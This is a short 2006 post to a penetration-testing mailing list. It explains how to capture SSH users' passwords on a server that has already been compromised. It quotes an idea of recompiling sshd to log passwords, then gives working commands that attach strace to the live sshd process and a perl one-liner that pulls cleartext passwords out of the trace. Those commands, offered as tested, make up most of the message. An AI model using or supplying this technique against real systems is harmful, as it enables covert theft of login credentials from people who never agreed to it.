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Re: [pen-test] Re: Restoring ssh session
From: Aaron Peterson <aaron () aaronp com>
Date: Wed, 31 May 2006 17:42:02 -0700

Hello:

On Wed, May 31, 2006 at 04:33:17PM -0500, Michael Rutledge wrote:
You could grab the source for sshd and recompile with a small
modification to add in password logging.  Granted, as

Depending on your goals here, another method is just to strace the existing
sshd process. This way you can watch the passwords fly by without having to
modify ssh at all.  This worked for me:

strace -o /tmp/sshd.strace -f -e write -p <sshd pid>
cat /tmp/sshd.strace | perl -ne 'print "$1\n" if m|^\d+\s+write\(\d+,\s+"\\0\\0\\0\\10(.*)"|'

The output from the second command is a list of passwords from users that
logged in while the strace was running.

HTH,

--
Aaron Peterson
http://midnightresearch.com

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